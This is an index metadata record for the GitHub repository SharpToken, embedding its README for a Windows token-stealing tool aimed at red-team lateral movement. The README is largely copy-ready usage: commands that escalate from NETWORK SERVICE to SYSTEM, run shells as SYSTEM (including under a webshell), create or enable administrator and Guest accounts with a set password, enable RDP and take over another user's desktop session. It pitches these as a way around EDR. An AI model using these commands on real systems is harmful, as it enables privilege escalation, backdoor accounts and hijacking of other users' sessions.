{"id":13840832,"url":"https://github.com/BeichenDream/SharpToken","last_synced_at":"2025-07-11T09:33:34.418Z","repository":{"id":41277113,"uuid":"508979353","full_name":"BeichenDream/SharpToken","owner":"BeichenDream","description":"Windows Token Stealing Expert","archived":false,"fork":false,"pushed_at":"2023-11-24T19:21:57.000Z","size":120,"stargazers_count":449,"open_issues_count":0,"forks_count":63,"subscribers_count":5,"default_branch":"main","last_synced_at":"2024-11-15T00:36:29.802Z","etag":null,"topics":["incognito"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/BeichenDream.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2022-06-30T07:34:57.000Z","updated_at":"2024-11-12T07:20:27.000Z","dependencies_parsed_at":"2023-11-24T18:26:34.493Z","dependency_job_id":"60ec8a63-d510-40ff-a366-002bdfe71f00","html_url":"https://github.com/BeichenDream/SharpToken","commit_stats":null,"previous_names":[],"tags_count":3,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BeichenDream%2FSharpToken","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BeichenDream%2FSharpToken/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BeichenDream%2FSharpToken/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/BeichenDream%2FSharpToken/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/BeichenDream","download_url":"https://codeload.github.com/BeichenDream/SharpToken/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225712744,"owners_count":17512474,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["incognito"],"created_at":"2024-08-04T17:00:57.748Z","updated_at":"2024-11-21T10:30:49.799Z","avatar_url":"https://github.com/BeichenDream.png","language":"C#","funding_links":[],"categories":["C# #"],"sub_categories":[],"readme":"# SharpToken\n\n\nDuring red team lateral movement, we often need to steal the permissions of other users. Under the defense of modern EDR, it is difficult for us to use Mimikatz to obtain other user permissions, and if the target user has no process alive, we have no way to use \"OpenProcessToken\" to steal Token.\n\n\nSharpToken is a tool for exploiting Token leaks. It can find leaked Tokens from all processes in the system and use them. If you are a low-privileged service user, you can even use it to upgrade to \"NT AUTHORITY\\SYSTEM\" privileges, and you can switch to the target user's desktop to do more without the target user's password. ..\n\n![image](https://user-images.githubusercontent.com/43266206/188081018-8717b066-1143-48b8-b62b-31360316cce1.png)\n\n\n## Usage\n\n```\nSharpToken By BeichenDream\n=========================================================\n\nGithub : https://github.com/BeichenDream/SharpToken\n\nIf you are an NT AUTHORITY\\NETWORK SERVICE user then you just need to add the bypass parameter to become an NT AUTHORIT\\YSYSTEM\ne.g.\nSharpToken execute \"NT AUTHORITY\\SYSTEM\" \"cmd /c whoami\" bypass\n\n\nUsage:\n\nSharpToken COMMAND arguments\n\n\n\nCOMMANDS:\n\n        list_token [process pid]        [bypass]\n\n        list_all_token [process pid] [bypass]\n\n        add_user    \u003cusername\u003e \u003cpassword\u003e [group] [domain] [bypass]\n\n        enableUser \u003cusername\u003e \u003cNewPassword\u003e [NewGroup] [bypass]\n\n        delete_user \u003cusername\u003e [domain] [bypass]\n\n        execute \u003ctokenUser\u003e \u003ccommandLine\u003e [Interactive] [bypass]\n\n        enableRDP [bypass]\n\n        tscon \u003ctargetSessionId\u003e [sourceSessionId] [bypass]\n\n\nexample:\n    SharpToken list_token\n    SharpToken list_token bypass\n    SharpToken list_token 6543\n    SharpToken add_user admin Abcd1234! Administrators\n    SharpToken enableUser Guest Abcd1234! Administrators\n    SharpToken delete_user admin\n    SharpToken execute \"NT AUTHORITY\\SYSTEM\" \"cmd /c whoami\"\n    SharpToken execute \"NT AUTHORITY\\SYSTEM\" \"cmd /c whoami\" bypass\n    SharpToken execute \"NT AUTHORITY\\SYSTEM\" cmd true\n    SharpToken execute \"NT AUTHORITY\\SYSTEM\" cmd true bypass\n    SharpToken tscon 1\n\n\n\n\n```\n\n## Elevated Permissions\n\nIn addition to the usual Token stealing privilege enhancement, SharpToken also supports obtaining Tokens with integrity through Bypass\n\nIf you are an NT AUTHORITY/NETWORK SERVICE user and you add the bypass parameter, SharpToken will steal System from RPCSS, that is, unconditional NT AUTHORITY\\NETWORK SERVICE to NT AUTHORITY\\SYSTEM \n\n![image](https://user-images.githubusercontent.com/43266206/205461409-0b17af46-00f5-4d68-9a16-a2edd76e67ab.png)\n\n\n## ListToken\n\nEnumerated information includes SID, LogonDomain, UserName, Session, LogonType, TokenType, TokenHandle (handle of Token after Duplicate), TargetProcessId (process from which Token originates), TargetProcessToken (handle of Token in source process), Groups (group in which Token user is located)\n\n```\nSharpToken list_token\n```\n\n![image](https://user-images.githubusercontent.com/43266206/176751244-dd8f8899-59ec-48e5-9bee-464c0e146573.png)\n\n## Enumerate Tokens from the specified process\n\n```\nSharpToken list_token 468\n```\n\n![image](https://user-images.githubusercontent.com/43266206/176753494-3c6df1cb-5d14-4b36-aa61-ca68a8c38009.png)\n\n\n\n## Get an interactive shell\n\n```\nexecute \"NT AUTHORITY\\SYSTEM\" cmd true\n```\n\n![image](https://user-images.githubusercontent.com/43266206/176751714-c7edb21c-f0be-4794-a14f-be4a7b1fdf61.png)\n\n## Get command execution results (executed under webshell)\n\n```\nSharpToken execute \"NT AUTHORITY\\SYSTEM\" \"cmd /c whoami\"\n```\n\n![image](https://user-images.githubusercontent.com/43266206/176751980-dd9413f4-1a4d-4cb0-8ba2-5e0b9ccb2eed.png)\n\n\n## Create an admin user with the stolen token\n\n```\n\nSharpToken add_user admin Abcd1234! Administrators\n\n```\n\n## Enable an admin user with the stolen token\n\n\n```\n    SharpToken enableUser Guest Abcd1234! Administrators\n```\n\n## Delete a user with a stolen Token\n\n```\n    SharpToken delete_user admin\n```\n\n## Use the stolen Token to switch to the target's desktop\n\n\nWhere 1 is the target user's desktop and 2 is the desktop we want to receive\n\n```\n    SharpToken tscon 1 2\n```\n\n\n# LICENSE\n\n[GNU General Public License](/LICENSE) \n\n# Reference\n\nhttps://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html\n\nhttps://github.com/decoder-it/NetworkServiceExploit\n\nhttps://github.com/FSecureLABS/incognito\n\nhttps://github.com/chroblert/JCTokenUtil\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FBeichenDream%2FSharpToken","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FBeichenDream%2FSharpToken","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FBeichenDream%2FSharpToken/lists"}